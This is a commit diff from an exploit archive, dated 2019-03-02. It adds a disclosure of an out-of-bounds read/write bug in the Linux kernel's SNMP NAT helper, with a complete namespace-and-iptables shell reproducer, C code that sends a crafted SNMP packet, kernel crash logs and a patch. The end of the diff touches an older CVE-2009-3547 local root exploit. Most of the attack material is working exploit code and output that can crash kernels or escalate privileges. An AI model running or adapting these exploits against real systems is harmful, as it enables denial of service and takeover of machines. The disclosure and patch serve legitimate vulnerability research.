DB: 2019-03-02
10 changes to exploits/shellcodes Linux Kernel 3.10.0 (CentOS7) - Denial of Service Linux Kernel 3.10.0 (CentOS 7) - Denial of Service Google Chrome < M72 - PaymentRequest Service Use-After-Free Google Chrome < M72 - RenderFrameHostImpl::CreateMediaStreamDispatcherHost Use-After-Free Google Chrome < M72 - Use-After-Free in RenderProcessHostImpl Binding for P2PSocketDispatcherHost Google Chrome < M72 - FileWriterImpl Use-After-Free tcpdump < 4.9.3 - Multiple Heap-Based Out-of-Bounds Reads Linux < 4.14.103 / < 4.19.25 - Out-of-Bounds Read and Write in SNMP NAT Module macOS XNU - Copy-on-Write Behavior Bypass via Mount of User-Owned Filesystem Image Cisco WebEx Meetings < 33.6.6 / < 33.9.1 - Privilege Escalation
This commit is contained in:
parent
31edb35a91
commit
55fab34db7
11 changed files with 1916 additions and 228 deletions
445
exploits/linux/dos/46477.txt
Normal file
445
exploits/linux/dos/46477.txt
Normal file
|
@ -0,0 +1,445 @@
|
|||
commit cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library",
|
||||
first in 4.16) changed the nf_nat_snmp_basic module (which, when enabled, parses
|
||||
and modifies the ASN.1-encoded payloads of SNMP messages) so that the kernel's
|
||||
ASN.1 infrastructure is used instead of an open-coded parser. The common ASN.1
|
||||
decoder can invoke callbacks when certain objects are encountered. The SNMP
|
||||
helper has two such callbacks defined in nf_nat_snmp_basic.asn1:
|
||||
|
||||
- For the `version` field of a `Message` (a `INTEGER`), snmp_version() is
|
||||
invoked.
|
||||
- For each `IpAddress` (according to RFC 1155, a 4-byte octet string),
|
||||
snmp_helper() is invoked.
|
||||
|
||||
These callbacks contain the following code:
|
||||
|
||||
|
||||
int snmp_version(void *context, size_t hdrlen, unsigned char tag,
|
||||
const void *data, size_t datalen)
|
||||
{
|
||||
if (*(unsigned char *)data > 1)
|
||||
return -ENOTSUPP;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int snmp_helper(void *context, size_t hdrlen, unsigned char tag,
|
||||
const void *data, size_t datalen)
|
||||
{
|
||||
struct snmp_ctx *ctx = (struct snmp_ctx *)context;
|
||||
__be32 *pdata = (__be32 *)data;
|
||||
|
||||
if (*pdata == ctx->from) {
|
||||
pr_debug("%s: %pI4 to %pI4\n", __func__,
|
||||
(void *)&ctx->from, (void *)&ctx->to);
|
||||
|
||||
if (*ctx->check)
|
||||
fast_csum(ctx, (unsigned char *)data - ctx->begin);
|
||||
*pdata = ctx->to;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
The problem is that both of these callbacks can be invoked by the ASN.1 parser
|
||||
with `data` pointing at the end of the packet and `datalen==0` (even though, for
|
||||
the `INTEGER` type, X.690 says in section 8.3.1 that "The contents octets shall
|
||||
consist of one or more octets"), but they don't check whether there is
|
||||
sufficient input available. This means that snmp_version() can read up to one
|
||||
byte out-of-bounds and leak whether that byte was <=1, and snmp_helper() can
|
||||
read and potentially also write up to four bytes out-of-bounds.
|
||||
|
||||
Unfortunately, KASAN can't detect the out-of-bounds reads because, as was
|
||||
pointed out in
|
||||
<https://lore.kernel.org/lkml/552d49b6-1b6e-c320-b56a-a119e360f1d7@gmail.com/>
|
||||
regarding a (harmless) out-of-bounds read in the TCP input path, the kernel
|
||||
stores a `struct skb_shared_info` at the end of the socket buffer allocation,
|
||||
directly behind the packet data. The kernel can only detect that a problem
|
||||
occurred based on the later effects of an out-of-bounds write.
|
||||
It might be a good idea to explicitly add some KASAN poison between the head
|
||||
data and struct skb_shared_info to make it easier for kernel fuzzers to discover
|
||||
issues like this in the future.
|
||||
|
||||
|
||||
There are two scenarios in which this bug might be attacked:
|
||||
|
||||
- A router that performs NAT translation is explicitly set up to invoke the
|
||||
SNMP helper, and a device in the NATted network wants to attack the router.
|
||||
This is probably very rare, since the router would need to be explicitly
|
||||
configured to perform SNMP translation. On top of that, to corrupt memory,
|
||||
an attacker would need to be able to completely fill an SKB; it isn't clear
|
||||
to me whether that is possible remotely.
|
||||
- A local attacker could exploit the bug by setting up new network namespaces
|
||||
with an iptables configuration that invokes SNMP translation. This probably
|
||||
works as a local privilege escalation against some distribution kernels.
|
||||
The normal autoloading path for this code was only set up in
|
||||
commit 95c97998aa9f ("netfilter: nf_nat_snmp_basic: add missing helper alias
|
||||
name", first in 4.20), but from a glance, it looks like it would be possible
|
||||
on kernels before 4.20 to instead first load one of the openvswitch module's
|
||||
aliases "net-pf-16-proto-16-family-ovs_*" through ctrl_getfamily(), then use
|
||||
ovs_ct_add_helper() to trigger loading of "nf_nat_snmp_basic" through the
|
||||
alias "ip_nat_snmp_basic".
|
||||
|
||||
|
||||
The following is a reproducer for a git master build that causes a kernel oops
|
||||
(nf_nat_snmp_basic must be compiled into the kernel, or built as a module, I
|
||||
think):
|
||||
|
||||
======================================================================
|
||||
#!/bin/sh
|
||||
unshare -mUrnp --mount-proc --fork bash <<SCRIPT_EOF
|
||||
set -e
|
||||
set -x
|
||||
|
||||
# make "ip netns" work in here
|
||||
mount -t tmpfs none /var/run/
|
||||
cd /var/run
|
||||
|
||||
# this namespace is the router with NAT
|
||||
ip link set dev lo up
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
/sbin/iptables -t nat -A POSTROUTING -o veth0 -j MASQUERADE
|
||||
/sbin/iptables -t raw -A PREROUTING -p udp --dport 162 -j CT --helper snmp_trap
|
||||
/sbin/iptables -A FORWARD -m conntrack --ctstate INVALID,NEW,RELATED,ESTABLISHED,SNAT,DNAT -m helper --helper snmp_trap -j ACCEPT
|
||||
|
||||
# this namespace is the destination host for the SNMP trap message
|
||||
ip netns add netns1
|
||||
nsenter --net=/var/run/netns/netns1 ip link set dev lo up
|
||||
ip link add veth0 type veth peer name veth1
|
||||
ip link set veth1 netns netns1
|
||||
nsenter --net=/var/run/netns/netns1 /sbin/ifconfig veth1 192.168.0.2/24 up
|
||||
/sbin/ifconfig veth0 192.168.0.1/24 up
|
||||
|
||||
# this namespace sends the SNMP trap message
|
||||
ip netns add netns2
|
||||
nsenter --net=/var/run/netns/netns2 ip link set dev lo up
|
||||
ip link add veth2 type veth peer name veth3
|
||||
ip link set veth3 netns netns2
|
||||
# /31 network, see RFC 3021
|
||||
# we want *.0.0.0 so that the 3 OOB bytes can be zero
|
||||
nsenter --net=/var/run/netns/netns2 /sbin/ifconfig veth3 10.0.0.0/31 up
|
||||
/sbin/ifconfig veth2 10.0.0.1/24 up
|
||||
nsenter --net=/var/run/netns/netns2 ip route add default via 10.0.0.1
|
||||
|
||||
# debug
|
||||
ip route
|
||||
nsenter --net=/var/run/netns/netns2 ip route
|
||||
|
||||
# run the PoC
|
||||
cat > udp_repro.c <<C_EOF
|
||||
#define _GNU_SOURCE
|
||||
#include <arpa/inet.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <stdarg.h>
|
||||
#include <net/if.h>
|
||||
#include <linux/if.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <linux/in.h>
|
||||
#include <err.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define IPADDR(a,b,c,d) (((a)<<0)+((b)<<8)+((c)<<16)+((d)<<24))
|
||||
|
||||
// "pc X" comments in the following array refer to indices into
|
||||
// nf_nat_snmp_basic_machine in "nf_nat_snmp_basic.asn1.c", which
|
||||
// is generated as part of the kernel's build process.
|
||||
// reading the ASN.1 decoder and the generated machine opcodes
|
||||
// seemed easier than trying to build ASN.1 by looking at the
|
||||
// spec or something like that...
|
||||
uint8_t snmp_packet[] = {
|
||||
// pc 0: read tag, should match _tag(UNIV, CONS, SEQ) == 0x30
|
||||
// length indef
|
||||
0x30, 0x80,
|
||||
|
||||
// pc 2: read tag, should match _tag(UNIV, PRIM, INT) == 0x02
|
||||
// version number
|
||||
0x02, 0x01,
|
||||
0x00,
|
||||
|
||||
// pc 5: read tag, should match _tag(UNIV, PRIM, OTS) == 0x04
|
||||
0x04, 0x00,
|
||||
|
||||
// pc 7: read tag, should match _tagn(CONT, CONS, 0) == 0xa0
|
||||
// selects GetRequest-PDU, length indef
|
||||
0xa0, 0x80,
|
||||
|
||||
// pc 34: read INT request-id
|
||||
0x02, 0x04,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
|
||||
// pc 36: read INT error-status
|
||||
0x02, 0x04,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
|
||||
// pc 38: read INT error-index
|
||||
0x02, 0x04,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
|
||||
// pc 40: read seq VarBindList
|
||||
// length indef
|
||||
0x30, 0x80,
|
||||
|
||||
// pc 42: read seq VarBind
|
||||
// length indef
|
||||
0x30, 0x80,
|
||||
|
||||
// ptr 44: read tag, should match _tag(UNIV, PRIM, OID) == 0x06
|
||||
// ObjectName
|
||||
// (can use 0x82 as length to have two bytes of length following)
|
||||
// length chosen so that the end of packet data is directly
|
||||
// followed by the skb_shared_info, with the whole thing in a
|
||||
// kmalloc-512 slab.
|
||||
0x06, 0x70,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
||||
|
||||
// ptr 46: read tag, should skip
|
||||
// ptr 48: read tag, should skip
|
||||
// ptr 50: read tag, should skip
|
||||
// ptr 52: read tag, should match _tagn(APPL, PRIM, 0) == 0x40
|
||||
// IpAddress
|
||||
// we could also use a length of zero, and the callback would still
|
||||
// be invoked, but we want control over the first byte so that we
|
||||
// can create a source IP match.
|
||||
0x40, 0x01,
|
||||
// source IP 10.0.0.0
|
||||
0x0a
|
||||
};
|
||||
|
||||
void do_sendto(int sockfd, const void *buf, size_t len, int flags, const struct sockaddr *dest_addr, socklen_t addrlen) {
|
||||
int res = sendto(sockfd, buf, len, flags, dest_addr, addrlen);
|
||||
if (res != len) {
|
||||
if (res == -1)
|
||||
err(1, "send failed");
|
||||
else
|
||||
errx(1, "partial send?");
|
||||
}
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
int sock = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sock == -1) err(1, "socket");
|
||||
|
||||
struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(162), .sin_addr = { .s_addr = IPADDR(192,168,0,2) } };
|
||||
|
||||
// __ip_append_data() overallocates by 15 bytes for some reason; cancel it out
|
||||
// by using CORK to first send 15 bytes short, then append the remaining 15 bytes
|
||||
do_sendto(sock, snmp_packet, sizeof(snmp_packet)-15, MSG_MORE, (struct sockaddr *)&sa, sizeof(sa));
|
||||
do_sendto(sock, ((char*)snmp_packet)+sizeof(snmp_packet)-15, 15, 0, (struct sockaddr *)&sa, sizeof(sa));
|
||||
}
|
||||
C_EOF
|
||||
gcc -o udp_repro udp_repro.c -Wall
|
||||
nsenter --net=/var/run/netns/netns2 ./udp_repro
|
||||
SCRIPT_EOF
|
||||
======================================================================
|
||||
|
||||
Corresponding splat:
|
||||
|
||||
======================================================================
|
||||
[ 260.101983] IPVS: ftp: loaded support on port[0] = 21
|
||||
[ 260.134983] LoadPin: vda1 (254:1): writable
|
||||
[ 260.135981] LoadPin: enforcement can be disabled.
|
||||
[ 260.137085] LoadPin: kernel-module pinned obj="/lib/modules/5.0.0-rc5/kernel/net/bpfilter/bpfilter.ko" pid=1095 cmdline="/sbin/modprobe -q -- bpfilter"
|
||||
[ 260.143100] bpfilter: Loaded bpfilter_umh pid 1096
|
||||
[ 260.171851] IPVS: ftp: loaded support on port[0] = 21
|
||||
[ 260.248339] IPv6: ADDRCONF(NETDEV_CHANGE): veth0: link becomes ready
|
||||
[ 260.250475] IPv6: ADDRCONF(NETDEV_CHANGE): veth1: link becomes ready
|
||||
[ 260.261136] IPVS: ftp: loaded support on port[0] = 21
|
||||
[ 260.347678] IPv6: ADDRCONF(NETDEV_CHANGE): veth3: link becomes ready
|
||||
[ 260.621924] page:ffffea000703de00 count:0 mapcount:-128 mapping:0000000000000000 index:0x0
|
||||
[ 260.624264] flags: 0x17fffc000000000()
|
||||
[ 260.625373] raw: 017fffc000000000 ffffea0007a6d408 ffffea000783fe08 0000000000000000
|
||||
[ 260.627650] raw: 0000000000000000 0000000000000003 00000000ffffff7f 0000000000000000
|
||||
[ 260.629926] page dumped because: VM_BUG_ON_PAGE(page_ref_count(page) == 0)
|
||||
[ 260.631958] ------------[ cut here ]------------
|
||||
[ 260.633312] kernel BUG at ./include/linux/mm.h:546!
|
||||
[ 260.634771] invalid opcode: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN
|
||||
[ 260.636693] CPU: 6 PID: 1121 Comm: udp_repro Not tainted 5.0.0-rc5 #263
|
||||
[ 260.638583] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
|
||||
[ 260.641031] RIP: 0010:do_exit+0x1391/0x1440
|
||||
[ 260.642266] Code: 89 86 68 05 00 00 48 89 ac 24 e0 00 00 00 e9 2a f5 ff ff 4d 89 fd e9 6d f2 ff ff 48 c7 c6 c0 cf 67 99 48 89 ef e8 ef a5 24 00 <0f> 0b 48 8d bb 20 05 00 00 e8 11 77 2b 00 48 8d bb 18 05 00 00 4c
|
||||
[ 260.647667] RSP: 0018:ffff8881e083fd98 EFLAGS: 00010286
|
||||
[ 260.649556] RAX: 000000000000003e RBX: ffff8881deed4240 RCX: 0000000000000000
|
||||
[ 260.651639] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff9b65eaa0
|
||||
[ 260.653712] RBP: ffffea000703de00 R08: ffffed103d633ec9 R09: ffffed103d633ec9
|
||||
[ 260.655786] R10: 0000000000000001 R11: ffffed103d633ec8 R12: ffffea000703de34
|
||||
[ 260.657857] R13: ffff8881e6262140 R14: ffff8881e083f918 R15: ffff8881e083fe78
|
||||
[ 260.659939] FS: 0000000000000000(0000) GS:ffff8881eb180000(0000) knlGS:0000000000000000
|
||||
[ 260.662281] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||
[ 260.664171] CR2: 00007fe2da7af5e0 CR3: 000000002de2b002 CR4: 0000000000360ee0
|
||||
[ 260.666987] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||
[ 260.670022] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||
[ 260.672035] Call Trace:
|
||||
[ 260.672761] ? release_task+0x860/0x860
|
||||
[ 260.673864] ? __fd_install+0x88/0x140
|
||||
[ 260.674946] ? handle_mm_fault+0x82/0x130
|
||||
[ 260.676100] do_group_exit+0x79/0x120
|
||||
[ 260.677157] __x64_sys_exit_group+0x28/0x30
|
||||
[ 260.678362] do_syscall_64+0x73/0x160
|
||||
[ 260.679440] entry_SYSCALL_64_after_hwframe+0x44/0xa9
|
||||
[ 260.680878] RIP: 0033:0x7fe2da7af618
|
||||
[ 260.681922] Code: Bad RIP value.
|
||||
[ 260.682872] RSP: 002b:00007ffd5a5e12c8 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7
|
||||
[ 260.685057] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fe2da7af618
|
||||
[ 260.687125] RDX: 0000000000000000 RSI: 000000000000003c RDI: 0000000000000000
|
||||
[ 260.689197] RBP: 00007fe2daa8c8e0 R08: 00000000000000e7 R09: ffffffffffffff98
|
||||
[ 260.691264] R10: 00007ffd5a5e1248 R11: 0000000000000246 R12: 00007fe2daa8c8e0
|
||||
[ 260.693343] R13: 00007fe2daa91c20 R14: 0000000000000000 R15: 0000000000000000
|
||||
[ 260.695412] Modules linked in: bpfilter
|
||||
[ 260.696776] ---[ end trace d5f4a4a31d762416 ]---
|
||||
[ 260.698931] RIP: 0010:do_exit+0x1391/0x1440
|
||||
[ 260.700171] Code: 89 86 68 05 00 00 48 89 ac 24 e0 00 00 00 e9 2a f5 ff ff 4d 89 fd e9 6d f2 ff ff 48 c7 c6 c0 cf 67 99 48 89 ef e8 ef a5 24 00 <0f> 0b 48 8d bb 20 05 00 00 e8 11 77 2b 00 48 8d bb 18 05 00 00 4c
|
||||
[ 260.705625] RSP: 0018:ffff8881e083fd98 EFLAGS: 00010286
|
||||
[ 260.707183] RAX: 000000000000003e RBX: ffff8881deed4240 RCX: 0000000000000000
|
||||
[ 260.708823] RDX: 0000000000000000 RSI: dffffc0000000000 RDI: ffffffff9b65eaa0
|
||||
[ 260.710384] RBP: ffffea000703de00 R08: ffffed103d633ec9 R09: ffffed103d633ec9
|
||||
[ 260.711888] R10: 0000000000000001 R11: ffffed103d633ec8 R12: ffffea000703de34
|
||||
[ 260.713785] R13: ffff8881e6262140 R14: ffff8881e083f918 R15: ffff8881e083fe78
|
||||
[ 260.715326] FS: 00007fe2dac99700(0000) GS:ffff8881eb180000(0000) knlGS:0000000000000000
|
||||
[ 260.717071] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||
[ 260.718340] CR2: 00007fe2da7af5ee CR3: 000000002de2b002 CR4: 0000000000360ee0
|
||||
[ 260.719867] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||
[ 260.721389] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||
[ 260.722923] Fixing recursive fault but reboot is needed!
|
||||
======================================================================
|
||||
|
||||
|
||||
It also works against a Debian testing distro kernel if you first (as root)
|
||||
set kernel.unprivileged_userns_clone=1 and modprobe nf_nat_snmp_basic; splat:
|
||||
|
||||
======================================================================
|
||||
[17260.886470] IPv6: ADDRCONF(NETDEV_UP): veth1: link is not ready
|
||||
[17260.887304] IPv6: ADDRCONF(NETDEV_UP): veth0: link is not ready
|
||||
[17260.887310] IPv6: ADDRCONF(NETDEV_CHANGE): veth0: link becomes ready
|
||||
[17260.887334] IPv6: ADDRCONF(NETDEV_CHANGE): veth1: link becomes ready
|
||||
[17260.930188] IPv6: ADDRCONF(NETDEV_UP): veth3: link is not ready
|
||||
[17260.931286] IPv6: ADDRCONF(NETDEV_CHANGE): veth3: link becomes ready
|
||||
[17261.115583] BUG: Bad page state in process Xorg pfn:276500
|
||||
[17261.115588] page:ffffcf4ac9d94000 count:-1 mapcount:0 mapping:0000000000000000 index:0x0
|
||||
[17261.115595] flags: 0x17fffc000000000()
|
||||
[17261.115598] raw: 017fffc000000000 dead000000000100 dead000000000200 0000000000000000
|
||||
[17261.115599] raw: 0000000000000000 0000000000000000 ffffffffffffffff 0000000000000000
|
||||
[17261.115601] page dumped because: nonzero _count
|
||||
[17261.115602] Modules linked in: veth xt_helper xt_conntrack nf_nat_snmp_basic nf_conntrack_snmp nf_conntrack_broadcast xt_CT xt_tcpudp nft_counter nft_chain_nat_ipv4 ipt_MASQUERADE nf_nat_ipv4 nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nft_compat nf_tables nfnetlink uinput atm netrom appletalk psnap llc ax25 snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_timer joydev qxl snd soundcore ttm drm_kms_helper drm sg evdev virtio_balloon serio_raw virtio_console crct10dif_pclmul crc32_pclmul pcspkr ghash_clmulni_intel button ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 fscrypto ecb btrfs xor zstd_decompress zstd_compress xxhash hid_generic usbhid hid raid6_pq libcrc32c crc32c_generic sr_mod cdrom ata_generic virtio_net net_failover virtio_blk failover crc32c_intel
|
||||
[17261.115641] ata_piix libata ehci_pci aesni_intel uhci_hcd aes_x86_64 ehci_hcd crypto_simd cryptd virtio_pci usbcore scsi_mod psmouse glue_helper virtio_ring i2c_piix4 usb_common virtio floppy
|
||||
[17261.115652] CPU: 14 PID: 653 Comm: Xorg Not tainted 4.19.0-1-amd64 #1 Debian 4.19.12-1
|
||||
[17261.115653] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
|
||||
[17261.115654] Call Trace:
|
||||
[17261.115681] dump_stack+0x5c/0x80
|
||||
[17261.115688] bad_page.cold.115+0x7f/0xb2
|
||||
[17261.115690] get_page_from_freelist+0xf51/0x1200
|
||||
[17261.115694] ? reservation_object_reserve_shared+0x32/0x70
|
||||
[17261.115696] ? get_page_from_freelist+0x8c3/0x1200
|
||||
[17261.115698] __alloc_pages_nodemask+0x112/0x2b0
|
||||
[17261.115703] new_slab+0x288/0x6e0
|
||||
[17261.115707] ? update_blocked_averages+0x3ca/0x560
|
||||
[17261.115708] ___slab_alloc+0x378/0x500
|
||||
[17261.115710] ? update_nohz_stats+0x41/0x50
|
||||
[17261.115713] ? shmem_alloc_inode+0x16/0x30
|
||||
[17261.115715] ? shmem_alloc_inode+0x16/0x30
|
||||
[17261.115716] __slab_alloc+0x1c/0x30
|
||||
[17261.115717] kmem_cache_alloc+0x192/0x1c0
|
||||
[17261.115719] shmem_alloc_inode+0x16/0x30
|
||||
[17261.115722] alloc_inode+0x1b/0x80
|
||||
[17261.115725] new_inode_pseudo+0xc/0x60
|
||||
[17261.115726] new_inode+0x12/0x30
|
||||
[17261.115728] shmem_get_inode+0x49/0x220
|
||||
[17261.115731] __shmem_file_setup.part.42+0x3f/0x130
|
||||
[17261.115754] drm_gem_object_init+0x26/0x40 [drm]
|
||||
[17261.115758] qxl_bo_create+0x79/0x170 [qxl]
|
||||
[17261.115762] qxl_gem_object_create+0x60/0x120 [qxl]
|
||||
[17261.115764] ? qxl_map_ioctl+0x20/0x20 [qxl]
|
||||
[17261.115767] qxl_gem_object_create_with_handle+0x4e/0xb0 [qxl]
|
||||
[17261.115769] qxl_alloc_ioctl+0x42/0xa0 [qxl]
|
||||
[17261.115777] ? drm_dev_enter+0x19/0x50 [drm]
|
||||
[17261.115785] drm_ioctl_kernel+0xa1/0xf0 [drm]
|
||||
[17261.115807] drm_ioctl+0x1fc/0x390 [drm]
|
||||
[17261.115810] ? qxl_map_ioctl+0x20/0x20 [qxl]
|
||||
[17261.115812] ? ep_scan_ready_list.constprop.22+0x1fc/0x220
|
||||
[17261.115814] ? __hrtimer_init+0xb0/0xb0
|
||||
[17261.115816] ? timerqueue_add+0x52/0x80
|
||||
[17261.115834] ? enqueue_hrtimer+0x38/0x90
|
||||
[17261.115835] ? hrtimer_start_range_ns+0x1b7/0x2c0
|
||||
[17261.115836] do_vfs_ioctl+0xa4/0x630
|
||||
[17261.115840] ? __sys_recvmsg+0x83/0xa0
|
||||
[17261.115841] ksys_ioctl+0x60/0x90
|
||||
[17261.115843] __x64_sys_ioctl+0x16/0x20
|
||||
[17261.115846] do_syscall_64+0x53/0x100
|
||||
[17261.115851] entry_SYSCALL_64_after_hwframe+0x44/0xa9
|
||||
[17261.115852] RIP: 0033:0x7fb3e93d3747
|
||||
[17261.115854] Code: 00 00 90 48 8b 05 49 a7 0c 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 19 a7 0c 00 f7 d8 64 89 01 48
|
||||
[17261.115855] RSP: 002b:00007ffc43daf3f8 EFLAGS: 00003246 ORIG_RAX: 0000000000000010
|
||||
[17261.115856] RAX: ffffffffffffffda RBX: 0000562c71bece00 RCX: 00007fb3e93d3747
|
||||
[17261.115857] RDX: 00007ffc43daf430 RSI: 00000000c0086440 RDI: 000000000000000e
|
||||
[17261.115857] RBP: 00007ffc43daf430 R08: 0000562c71bece00 R09: 00000000000003d1
|
||||
[17261.115858] R10: 0000562c71085010 R11: 0000000000003246 R12: 00000000c0086440
|
||||
[17261.115858] R13: 000000000000000e R14: 0000562c710bcba0 R15: 0000562c710d82f0
|
||||
[17261.115860] Disabling lock debugging due to kernel taint
|
||||
======================================================================
|
||||
|
||||
|
||||
I suggest the following patch (copy attached with proper whitespace); I have
|
||||
tested that it prevents my PoC from crashing the kernel, but I haven't tested
|
||||
whether SNMP NATting still works.
|
||||
|
||||
======================================================================
|
||||
From b94c17fa81f8870885baaec7815eee8b789d2c7b Mon Sep 17 00:00:00 2001
|
||||
From: Jann Horn <jannh@google.com>
|
||||
Date: Wed, 6 Feb 2019 22:56:15 +0100
|
||||
Subject: [PATCH] netfilter: nf_nat_snmp_basic: add missing length checks in
|
||||
ASN.1 cbs
|
||||
|
||||
The generic ASN.1 decoder infrastructure doesn't guarantee that callbacks
|
||||
will get as much data as they expect; callbacks have to check the `datalen`
|
||||
parameter before looking at `data`. Make sure that snmp_version() and
|
||||
snmp_helper() don't read/write beyond the end of the packet data.
|
||||
|
||||
(Also move the assignment to `pdata` down below the check to make it clear
|
||||
that it isn't necessarily a pointer we can use before the `datalen` check.)
|
||||
|
||||
Fixes: cc2d58634e0f ("netfilter: nf_nat_snmp_basic: use asn1 decoder library")
|
||||
Signed-off-by: Jann Horn <jannh@google.com>
|
||||
---
|
||||
net/ipv4/netfilter/nf_nat_snmp_basic_main.c | 7 ++++++-
|
||||
1 file changed, 6 insertions(+), 1 deletion(-)
|
||||
|
||||
diff --git a/net/ipv4/netfilter/nf_nat_snmp_basic_main.c b/net/ipv4/netfilter/nf_nat_snmp_basic_main.c
|
||||
index a0aa13bcabda..0a8a60c1bf9a 100644
|
||||
--- a/net/ipv4/netfilter/nf_nat_snmp_basic_main.c
|
||||
+++ b/net/ipv4/netfilter/nf_nat_snmp_basic_main.c
|
||||
@@ -105,6 +105,8 @@ static void fast_csum(struct snmp_ctx *ctx, unsigned char offset)
|
||||
int snmp_version(void *context, size_t hdrlen, unsigned char tag,
|
||||
const void *data, size_t datalen)
|
||||
{
|
||||
+ if (datalen != 1)
|
||||
+ return -EINVAL;
|
||||
if (*(unsigned char *)data > 1)
|
||||
return -ENOTSUPP;
|
||||
return 1;
|
||||
@@ -114,8 +116,11 @@ int snmp_helper(void *context, size_t hdrlen, unsigned char tag,
|
||||
const void *data, size_t datalen)
|
||||
{
|
||||
struct snmp_ctx *ctx = (struct snmp_ctx *)context;
|
||||
- __be32 *pdata = (__be32 *)data;
|
||||
+ __be32 *pdata;
|
||||
|
||||
+ if (datalen != 4)
|
||||
+ return -EINVAL;
|
||||
+ pdata = (__be32 *)data;
|
||||
if (*pdata == ctx->from) {
|
||||
pr_debug("%s: %pI4 to %pI4\n", __func__,
|
||||
(void *)&ctx->from, (void *)&ctx->to);
|
||||
--
|
||||
2.20.1.611.gfbb209baf1-goog
|
||||
======================================================================
|
|
@ -1,9 +1,13 @@
|
|||
/*
|
||||
# Author: DigitALL
|
||||
# Version: 2.6.18-20
|
||||
# Tested on: Linux System
|
||||
# Greetz To: Zombie KroNicKq and All 1923turk.Biz Members
|
||||
# Code : 2.6.18 2008 Exploit's İs Edited 2009 Version.I Am Tested 2.6.18-20 2009 Linux is Rooted.Coming Soon.By DigitALL
|
||||
|
||||
# EDB Note: Adding `#include <sys/user.h>` may help it compile
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <errno.h>
|
||||
|
|
|
@ -155,19 +155,19 @@ int is_old_kernel = 0;
|
|||
|
||||
int go_go_speed_racer(void *unused)
|
||||
{
|
||||
int ret;
|
||||
int ret;
|
||||
|
||||
while(!exp_state->got_ring0) {
|
||||
/* bust spinlock */
|
||||
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
|
||||
/* bust spinlock */
|
||||
*(unsigned int *)NULL = is_old_kernel ? 0 : 1;
|
||||
ret = pipe(pipefd);
|
||||
if (!ret) {
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
}
|
||||
if (!ret) {
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* <3 twiz/sgrakkyu */
|
||||
|
@ -179,7 +179,7 @@ int start_thread(int (*f)(void *), void *arg)
|
|||
printf("can't create thread\n");
|
||||
exit(1);
|
||||
}
|
||||
sleep(1);
|
||||
sleep(1);
|
||||
return tid;
|
||||
}
|
||||
|
||||
|
@ -190,279 +190,279 @@ char *cve = "CVE-2009-3547";
|
|||
|
||||
/* this changes on older kernels, but it doesn't matter to our method */
|
||||
struct pipe_buf_operations {
|
||||
int can_merge;
|
||||
void *map;
|
||||
void *unmap;
|
||||
void *confirm;
|
||||
void *release;
|
||||
void *steal;
|
||||
void *get;
|
||||
int can_merge;
|
||||
void *map;
|
||||
void *unmap;
|
||||
void *confirm;
|
||||
void *release;
|
||||
void *steal;
|
||||
void *get;
|
||||
};
|
||||
|
||||
struct pipe_buffer2620ornewer {
|
||||
void *page;
|
||||
unsigned int offset, len;
|
||||
void *ops;
|
||||
unsigned int flags;
|
||||
unsigned long private;
|
||||
void *page;
|
||||
unsigned int offset, len;
|
||||
void *ops;
|
||||
unsigned int flags;
|
||||
unsigned long private;
|
||||
};
|
||||
|
||||
struct pipe_buffer2619orolder {
|
||||
void *page;
|
||||
unsigned int offset, len;
|
